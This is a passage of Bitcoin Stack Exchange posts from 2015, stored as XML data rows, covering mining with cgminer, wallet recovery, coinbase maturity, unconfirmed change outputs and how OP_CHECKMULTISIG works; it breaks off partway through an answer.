  <row Id="40643" PostTypeId="2" ParentId="28392" CreationDate="2015-09-23T20:54:31.277" Score="1" Body="&lt;p&gt;Now that bitcoin difficulty is too high to see much output even on a properly configured gpu with the right drivers, running cgminer at &gt; 100 Mhash/s of sha256d, your learning excercise might be better making an sha256d &quot;altcoin&quot; of &amp;lt; 100,000 difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of strategy, I think that you want to download a &quot;stratum proxy&quot; which preprocesses blocks from &quot;somewhere&quot; to compute a &quot;midstate&quot; which anything runnning cgminer on your LAN can try hashing with lots of nonce values.  I think that &quot;somewhere&quot; could conceivably be some sort of local testcoin full node which you've poked the source code of.  Whilst &quot;somewhere&quot; could also be a usual BTC mining pool, you won't see enough shares to get bitcoin for your gpu programming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I think that you want to set up your gpu pc with correctly installed drivers and cgminer, so that you can see the text in a terminal showing a reasonable hashrate when you run cgminer with your stratum proxy specified.  You might need to open a port number and do some messing like that the first time it is used, and it took me a few days to get that far on linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have seen your gpu working with &quot;ordinary&quot; cgminer, you might want to go into the source code of cgminer, but unfortunately that hides most of the inherant parrallelism of the gpu behind the proprietary binary hardware drivers to which it makes some calls.  It may be that those won't let you use more than 1 gpu core for reasons unknown to me.  You can also call cgminer as a multithreaded cpu miner but that is sooo 2010 that it won't do much with bitcoin nowadays.  Hence my hint that an altcoin or home testnetcoin on sha256d might be interesting. &lt;/p&gt;&#xA;" OwnerUserId="29527" LastActivityDate="2015-09-23T20:54:31.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40644" PostTypeId="2" ParentId="40641" CreationDate="2015-09-23T23:19:35.703" Score="1" Body="&lt;p&gt;TRR is like Tor in that it chooses random routes, and uses public key cryptography to secure communications. The major difference is that where Tor creates long-lasting bidirectional channels, TRR would use low-latency single-use one-direction transaction forwarding. At time of writing, there doesn't seem to be a public TRR implementation, so I'm basing this off of &lt;a href=&quot;http://arxiv.org/ftp/arxiv/papers/1509/1509.06160.pdf&quot; rel=&quot;nofollow&quot;&gt;this paper&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one missing part, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor uses something called &quot;perfect forward secrecy.&quot; In Tor, the private key of a node is useful for pretending to be that node, but it can't be used to decrypt communications after the connection has closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see why this is useful, imagine the following scenario: Your ISP captures a TRR encrypted communication. They see that the first encrypted portion was sent to A. They find A, and get their private key. They decrypt the first layer of the message, and see that the second node is B. Repeat until they see what transaction was hidden within.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works even though A, B, and C never kept any logs of where they sent the transaction. The way to fix this is either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use the node's private key to establish an intermediate key, and throw the intermediate key away after the connection closes, or&lt;/li&gt;&#xA;&lt;li&gt;rotate the node's key very frequently, at least every hour.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-23T23:19:35.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40645" PostTypeId="2" ParentId="37663" CreationDate="2015-09-23T23:41:47.717" Score="0" Body="&lt;p&gt;You can do this using &lt;a href=&quot;http://www.ethereum-alarm-clock.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.ethereum-alarm-clock.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a contract on the network that facilitates call scheduling by providing a financial incentive for independent parties to execute them for you.  Disclaimer that I'm the author of the service.&lt;/p&gt;&#xA;" OwnerUserId="29531" LastActivityDate="2015-09-23T23:41:47.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40648" PostTypeId="1" CreationDate="2015-09-24T04:46:22.213" Score="1" ViewCount="393" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/12tFogx4zzsZzCwWAXfb36gaPHkt3FNU3P?filter=5#&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/12tFogx4zzsZzCwWAXfb36gaPHkt3FNU3P?filter=5#&lt;/a&gt; is the transaction page for my wallet address help? i just got $9 and i want it in my wallet but its not there (its almost been 24 hours and blockchain says i have it??) i just recently upgraded to electrum 1.9.4&lt;/p&gt;&#xA;" OwnerUserId="29537" LastActivityDate="2015-09-24T04:46:22.213" Title="blockchain.info says transaction is complete but electrum dosnt show it" Tags="|wallet|blockchain.info|electrum|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40649" PostTypeId="2" ParentId="34319" CreationDate="2015-09-24T07:30:54.807" Score="0" Body="&lt;p&gt;I've recently obtained a U3. I've experienced the zombie issue at 250MHz, 830mV settings. Sometimes cgminer wakes it up again as AU3 1 instead of AU3 0, sometimes it does not. I also have a U2+, so I use the --usb bus:dev option to run them in separate cgminers.&#xA;I experience a much higher HW rate error on the U3, even at stock settings. HW errors on the U2+ running at 250MHz are rare.&#xA;So far it is running stable again at 237.5 MHz, 800mV. The default is 225MHz, 750mV, which is 3.33mv per MHz. It could be that running below that is causing the zombie issue. Might try 250MHz again with a higher mV once I am happy at this setting. I have my U3 sat on my computer top front exhaust fan, which is very cool as all the CPU/GPU heat is being blown out of the back.&lt;/p&gt;&#xA;" OwnerUserId="29543" LastActivityDate="2015-09-24T07:30:54.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40651" PostTypeId="1" CreationDate="2015-09-24T10:38:23.107" Score="1" ViewCount="103" Body="&lt;p&gt;I have used bitcoin block chain API in my website, it works and i updated the db when call back the function call but the problem is that db updated multiple times&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my codes are &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_GET['confirmations'] &amp;gt;= 6) {&#xA;    //payment confirmed&#xA;    //do some DB oparation&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i want to know in which case the paymnet is confirmed and how could i update DB once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="29540" LastActivityDate="2015-09-24T10:38:23.107" Title="What is confirmation notificaion in bitcoin via block chain API" Tags="|api|php|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40652" PostTypeId="1" AcceptedAnswerId="40653" CreationDate="2015-09-24T16:29:35.823" Score="2" ViewCount="280" Body="&lt;p&gt;If I am a miner, it makes sense for me to broadcast recent blocks since I want my chain to be the longest (see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9107/what-encourages-bitcoin-miners-to-relay-blocks&quot;&gt;What encourages Bitcoin miners to relay blocks?&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what is my incentive for broadcasting old blocks? Deep blocks are very unlikely to be orphaned, so it seems that I get no gain from relaying them, despite it costing me bandwidth. &lt;/p&gt;&#xA;" OwnerUserId="28116" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-09-24T16:52:56.720" Title="What is my incentive for sending old blocks?" Tags="|network|relay|block|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40653" PostTypeId="2" ParentId="40652" CreationDate="2015-09-24T16:36:17.013" Score="2" Body="&lt;p&gt;There is no incentive to serve historical blocks beyond altruism, generally that applies to all facets of participating in the p2p network. Nodes without incoming connections will generally not be requested to send any old blocks, and this is a standard operating mode for people who have disabled listening or are behind restrictive NAT with no ability to hole punch through port 8333. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-24T16:36:17.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40654" PostTypeId="2" ParentId="40652" CreationDate="2015-09-24T16:52:56.720" Score="3" Body="&lt;p&gt;Miners have spent money on mining hardware. The value they are able to get out of that mining hardware is tied directly to the price of Bitcoins and the mining difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the price goes up, that will incentivize some additional miners and if the price goes down, more people will mine. But this doesn't happen immediately nor does it cancel out perfectly. Miners benefit from an increase in the price of Bitcoins and are harmed by a drop in the price of Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your incentive for sending old blocks is that the utility of bitcoins drops if it's more difficult for new nodes to join the network. While this effect on the price of bitcoins is slight, the amount of old blocks you need to send is also slight.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-09-24T16:52:56.720" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40655" PostTypeId="1" AcceptedAnswerId="40656" CreationDate="2015-09-24T17:00:20.200" Score="8" ViewCount="2984" Body="&lt;p&gt;From the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#transaction-data&quot; rel=&quot;noreferrer&quot;&gt;developer guide&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The UTXO of a coinbase transaction has the special condition that it cannot be spent (used as an input) for at least 100 blocks. This temporarily prevents a miner from spending the transaction fees and block reward from a block that may later be determined to be stale (and therefore the coinbase transaction destroyed) after a block chain fork.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can someone please explain why this constraint is necessary? I mean, how is the output of a coinbase transaction (plus block's transaction fees) different than the outputs of any other transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, put differently, if coinbase transactions require a 100-block cooldown period, all other transactions do too, no?&lt;/p&gt;&#xA;" OwnerUserId="15073" LastActivityDate="2015-09-25T14:13:38.027" Title="Coinbase transaction's 100-block cooldown period" Tags="|transaction-fees|mining-reward|coinbase-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40656" PostTypeId="2" ParentId="40655" CreationDate="2015-09-24T17:13:41.690" Score="12" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how is the output of a coinbase transaction (plus block's transaction fees) different than the outputs of any other transaction?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because it's validity is tied to WHICH block it is included in. You can't take a coinbase transaction and include it as if it were a standard transaction in another block, because it creates more bitcoins than it spends, which is not allowed for normal bitcoin transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue is called being reorg-safe (reorganization-safe). It is a general principal of the blockchain, and it means that if a fork happens and you have to undo the latest block or two to replace them with different blocks, that shouldn't change which transactions are valid. With normal transactions, it's pretty easy to just add them to block X instead of block Y when a fork happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you have transactions that depend on a recent coinbase transaction, then you can't take those transactions and put them in another block easily. So the 100 block rule is to keep the blockchain reorg-safe, so nothing bad happens in the case of a small fork.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-09-25T14:13:38.027" LastActivityDate="2015-09-25T14:13:38.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40657" PostTypeId="1" CreationDate="2015-09-24T21:10:47.083" Score="0" ViewCount="1384" Body="&lt;p&gt;I have the Bitcoin Core client installed on my desktop, and I have encrypted it and backed up the wallet. I rarely, if ever, go into it. I just thought I would bring it up today and it now shows a 0 balance (instead of what was in there). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last transaction was a series of small debits, that I didn't initiate, that appears to have wiped my account out. What happened? What can i do? Anything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a transaction ID, but no mention in the program of where they went.&lt;/p&gt;&#xA;" OwnerUserId="29555" LastEditorUserId="18196" LastEditDate="2016-01-26T16:30:12.773" LastActivityDate="2022-11-23T15:10:43.877" Title="Bitcoins disappeared?" Tags="|lost-bitcoins|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40658" PostTypeId="1" CreationDate="2015-09-25T01:39:22.477" Score="1" ViewCount="1892" Body="&lt;p&gt;weird thing happened to me. I kept backup in cloud under Dropbox/bitcoinz. I can see many mbhd-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.zip.aes files, I also have wallet words but when I try to restore old wallet after fresh install on new pc, I enter the words and select coud backup filder, it says that no backup files were found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they are there, present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I clicked on ok, window disappeared and new wallet opened. I entered my password (the one I used with old backuped wallet), it got accepted and bitcoin started to sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when it finished, it showed 0 BTC. And moreover, I found nowhere again the option, to restore from cloud backup .zip.aes files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened here? How to restore bitcoins using wallet words and online backup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="29559" LastActivityDate="2023-12-12T14:07:35.887" Title="How to restore Multibit HD keys using cloud .zip.aes files" Tags="|multibit|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40659" PostTypeId="2" ParentId="39141" CreationDate="2015-09-25T04:50:02.600" Score="1" Body="&lt;p&gt;Quick and dirty solution?  Use their own initial hash.&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2015-09-25T04:50:02.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40660" PostTypeId="2" ParentId="37306" CreationDate="2015-09-25T06:43:34.710" Score="1" Body="&lt;p&gt;Yes there is, get a better Internet connection and a faster computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need a better Internet connection because you are downloading the whole blockchain (I guess you're using bitcoin-qt or the like) and it is a few GB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you need a faster computer because as you download the blockchain you are processing those transactions and updating your DB, so a faster computer will lower the time needed to process that information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until you have downloaded the whole blockchain you won't be able to spend bitcoins with your wallet because it will wait until all transactions have been processed to know the amout of bitcoins remaining in it. &lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2015-09-25T06:43:34.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40663" PostTypeId="2" ParentId="7370" CreationDate="2015-09-25T14:29:43.987" Score="2" Body="&lt;p&gt;A popular jurisdiction for BitCoin casino hosting is Curacao which is a gaming friendly jurisdiction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read some more informaiton here: &lt;a href=&quot;http://www.curacaowebhosting.com/2017/09/11/bitcoin-casino-hosting/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin gambling hosting&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I believe that answers your &quot;Where do they host&quot; question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now, is a bitcoin casino legal or not?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This depends on the &quot;currency&quot; being used and what people are wagering with. If you were gambling using match sticks, pebbles or broccoli, it would be perfectly lawful since Governments are only concerned about taxes, revenue and more taxes and match sticks, pebbles and broccoli are of no economic interest to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bitcoin is much like broccoli, it is not recognised in most jurisdictions and you will definitely not find any legislation regulating its use with gambling and even if it were regulated in some way, it would be almost impossible to &quot;regulate&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice, if you are going to setup a BitCoin casino, do it in a &lt;a href=&quot;http://www.curacaowebhosting.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gambling Friendly jurisdiction such as Curacao&lt;/a&gt; and if your Casino becomes a bitcoin phenomena and become profitable, get a license - this will allow you to use some of the more traditional currencies and will give you the respect you deserve.&lt;/p&gt;&#xA;" OwnerUserId="29571" LastEditorUserId="29571" LastEditDate="2018-04-13T07:30:07.987" LastActivityDate="2018-04-13T07:30:07.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40664" PostTypeId="2" ParentId="40657" CreationDate="2015-09-25T14:47:25.007" Score="2" Body="&lt;p&gt;Assuming the transaction was really made and confirmed (try looking up the transaction id on a site like &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt;), and the destination address isn't one of yours, then it appears your coins have been stolen.  Unfortunately, there isn't anything you can do about it, from a technical point of view; one of the features of Bitcoin is that transactions cannot be reversed for any reason.  Of course, you can report the theft to the police, but it is probably not likely they will be able to catch the thief or recover your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to steal the coins, the thief would have needed access to the private keys stored in your wallet.dat file.  From the information you gave, I can only speculate as to how this might have been done.  Some possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You have a virus or some other malicious software on your computer.  This software could have sent your encrypted wallet.dat to the thief, and also captured your keystrokes at some time  when you typed the passphrase to decrypt it.  Then the thief would be able to decrypt it as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The thief obtained your encrypted wallet.dat (via malicious software on your computer, or getting access to your backup, etc), and your passphrase was not very complex, so they were able to guess it with a brute-force attack (trying a very large number of possible passphrases until they found yours).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The thief is someone with physical access to your computer, and may have seen you type your passphrase.  They could then steal your coins simply by sitting at your computer, entering your passphrase, and sending your coins to their own address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-09-25T14:47:25.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40665" PostTypeId="1" CreationDate="2015-09-25T15:01:47.890" Score="2" ViewCount="224" Body="&lt;p&gt;I have heard about linking a credit card to bitcoins. How would this be possible? For example there are now numerous bitcoin credit cards. How do they work exactly? Many seem to be fly-by-night companies. &lt;/p&gt;&#xA;" OwnerUserId="29572" LastEditorUserId="5406" LastEditDate="2016-02-09T11:14:05.060" LastActivityDate="2017-01-11T10:59:49.890" Title="Bitcoin credit card" Tags="|bitcoin-credit-card|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40666" PostTypeId="2" ParentId="39043" CreationDate="2015-09-25T23:07:33.837" Score="-1" Body="&lt;p&gt;Put request in multibithd. Scan or put the address shown and put it in the btc core and make sure the receiving amount in multibithd is the same as the sending amount in btccore. No fees thats for sure&lt;/p&gt;&#xA;" OwnerUserId="29575" LastActivityDate="2015-09-25T23:07:33.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40669" PostTypeId="1" AcceptedAnswerId="40673" CreationDate="2015-09-26T14:20:14.547" Score="10" ViewCount="6094" Body="&lt;p&gt;I was wondering if somebody could point me to or give me a worked out example of how OP_CHECKMULTISIG works behind the curtains?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect that CHECKMULTISIG will call the CHECKSIG function and manipulate the stack to run CHECKSIG in a loop until it terminates and either has its M-out-of-N valid sigs or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how exactly does it work? E.g. for 2-of-3 multisig. If we have OP_0 (sig1) (sig2) in the scriptSig, then the stack will look like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(sig2)&lt;/li&gt;&#xA;&lt;li&gt;(sig1)&lt;/li&gt;&#xA;&lt;li&gt;0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now from the general way of writing CHECKMULTISIG in the scriptPubKey: 2 (pubKey1) (pubKey2) (pubKey3) 3 OP_CHECKMULTISIG, when pushing all the data onto the stack, the stack for the scriptPubKey will look like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;3&lt;/li&gt;&#xA;&lt;li&gt;(pubKey3)&lt;/li&gt;&#xA;&lt;li&gt;(pubKey2)&lt;/li&gt;&#xA;&lt;li&gt;(pubKey1)&lt;/li&gt;&#xA;&lt;li&gt;2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What exactly will the first step be of CHECKMULTISIG? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will it pop the &quot;3&quot; from the stack and then maybe check if there are three pubKeys on the stack? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or will it just pop the &quot;3&quot; and then immediately run CHECKSIG on (sig2) and (pubKey3), which will not be valid, hence CHECKSIG will push a &quot;0&quot; on the stack? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will then CHECKMULTISIG remove the &quot;0&quot; that CHECKSIG introduced on the stack and try again with (sig2) and (pubKey2)? Since this is valid CHECKSIG will push a &quot;1&quot; on the stack, but where does CHECKMULTISIG store this &quot;1&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And will CHECKMULTISIG at the end count how many &quot;1&quot;'s CHECKSIG made and this number must correspond to the last value on the stack, in this case &quot;2&quot;, but in general &quot;M&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to find a low-level description of CHECKMULTISIG, similarly to the one I could find for CHECKSIG:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/OP_CHECKSIG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very appreciated!&lt;/p&gt;&#xA;" OwnerUserId="29432" LastEditorUserId="47827" LastEditDate="2020-12-07T15:26:19.900" LastActivityDate="2023-03-05T18:05:38.040" Title="CHECKMULTISIG a worked out example" Tags="|script|multi-signature|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40670" PostTypeId="1" AcceptedAnswerId="40671" CreationDate="2015-09-26T17:27:20.223" Score="2" ViewCount="2837" Body="&lt;p&gt;Consider a custom program which will occasionally need to send out bitcoin to users to whom I owe money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have 100 unspent BTC at address ADDR_A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UserX demands payment of 1 BTC to ADDR_X. I honor the request, spending my 100 BTC from ADDR_A, directing 1 BTC to ADDR_X and 99 to ADDR_CHANGE_A. (Let's ignore the impact of transaction fees in this contrived example.) The raw transaction is submitted via a public Bitcoin API like Insight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Five seconds later UserY demands payment of 1 BTC to ADDR_Y. I want to use ADDR_CHANGE_A as an input to facilitate the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Can I use my newly created ADDR_CHANGE_A address as an input given that the original change output that targeted ADDR_CHANGE_A has not yet confirmed? Other material on this site indicates that the transaction should work but I'd like to understand WHY it works. Assuming that the public Bitcoin API receives my transaction that uses ADDR_CHANGE_A as an input, but has no knowledge that ADDR_CHANGE_A was used as an output in a prior transaction which took place only seconds earlier, wouldn't it balk at my attempt to spend from ADDR_CHANGE_A?&lt;/p&gt;&#xA;" OwnerUserId="22825" LastEditorUserId="5292" LastEditDate="2015-09-26T19:40:48.410" LastActivityDate="2015-09-26T20:50:11.190" Title="Spending unconfirmed output from a change address" Tags="|unconfirmed-transactions|spending|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40671" PostTypeId="2" ParentId="40670" CreationDate="2015-09-26T19:39:56.733" Score="5" Body="&lt;p&gt;You are technically able to do this but it is strongly not recommended. A transaction can spend the output of another transaction so long as the parent transaction is known by the node in question, however this is quite fragile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin transactions back reference by TXID, a cryptographic hash of the previous one being spent. Due to a property known as transaction malleability it is currently possible for this TXID to change spontaneously when it it broadcast through the network, due to some nodes running custom code which mutates transactions in specific ways. If you build a long chain of unconfirmed transactions and one early on is mutated, all subsequent transactions can suddenly appear to spend outputs which don't exist anymore and are effectively invalidated. It's difficult to produce safe software which can handle this situation with this as there's a lot of edge cases that need dealing with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to make a number of payments to many parties in a short period, many large providers will split their outputs up ahead of time to avoid ever needing to spend unconfirmed change. When they receive a 100 BTC output they might break it into four 25 BTC chunks paying themselves, which will allow them to pay four people when required without needing to ever attempt to spend unconfirmed change. Some delicate balancing is required here, if you have too many outputs in your wallet the fees increase dramatically and the software will become slow. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-09-26T20:50:11.190" LastActivityDate="2015-09-26T20:50:11.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40672" PostTypeId="2" ParentId="40669" CreationDate="2015-09-26T20:14:42.077" Score="3" Body="&lt;p&gt;It's far simpler than relying on values pushed by OP_CHECKSIG internally! It calls the same &lt;em&gt;function&lt;/em&gt; that OP_CHECKSIG uses - in a loop - after parsing the public key and required signature count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The procedure starts by checking the stack's size. Next it takes the keyCount (at the top of the stack as you observed in your question), and limits the number to 20 or less. It stores the position of the first public key in the stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the value at position (top - keyCount) should give you the number of signatures. Some sanity checks are now performed (the required number of signatures should not exceed the number of keys). It then stores the position of the first signature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next the software enters a loop: So long as none of the signatures fail, it takes the first signature and public key, validates their encoding, and calls the same function that OP_CHECKSIG uses to check the signature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If validation succeeds, it will increment the signature counter. If it fails, this doesn't happen, so the loop will try this signature with the next key. But in either case, the public key counter is increased. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means signatures need to be provided in the same order as the public keys. If a signature fails, try the next key. (Think about the ordering of signatures in a 2-of-3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will also check that the dummy null value exists, and optionally verifies that it actually is a byte of \x00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end, it pushes a boolean indicating the return value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code for this opcode can be found here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script/interpreter.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/script/interpreter.cpp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-09-26T20:14:42.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40673" PostTypeId="2" ParentId="40669" CreationDate="2015-09-26T20:29:59.280" Score="14" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I expect that CHECKMULTISIG will call the CHECKSIG function and manipulate the stack to run CHECKSIG in a loop until it terminates and either has its M-out-of-N valid sigs or not?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's not really how it's &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/48efbdbe986355bd2478f0fdd366b20952fbf30a/src/script/interpreter.cpp#L862&quot; rel=&quot;noreferrer&quot;&gt;implemented internally&lt;/a&gt;, so there are a couple of pitfalls if you imagine it operating like that.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;OP_CHECKMULTISIG&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here's the high-level description of how it works:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pop n off of the stack (number of public keys)&lt;/li&gt;&#xA;&lt;li&gt;Pop n public keys off of the stack.&lt;/li&gt;&#xA;&lt;li&gt;Pop m off of the stack (number of required signatures)&lt;/li&gt;&#xA;&lt;li&gt;Pop m signatures off of the stack.&lt;/li&gt;&#xA;&lt;li&gt;Pop one more element off of the stack, and ignore it. (This is a bug, but it can't be fixed because this is consensus-critical code.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Loop through all of the public keys, starting with the keys at the top of the stack.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For each public key, check a single signature.&lt;/li&gt;&#xA;&lt;li&gt;For the first public key checked, start with the signature closest to the top of the stack.&lt;/li&gt;&#xA;&lt;li&gt;If it fails to verify, go to the next public key and check the same signature.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it succeeds, go to the next public key with the next signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the signatures need to be in the same order as the key's that they're signing for.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;If all of the signatures succeeded with one of the keys, CHECKMULTISIG returns 1, otherwise 0.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Your example&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You've got this scriptSig:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    (sig2)&#xA;    (sig1)&#xA;    0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This scriptPubKey:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    3&#xA;    (pubKey3)&#xA;    (pubKey2)&#xA;    (pubKey1)&#xA;    2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When executing, the stack looks like this just before OP_CHECKMULTISIG executes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    3&#xA;    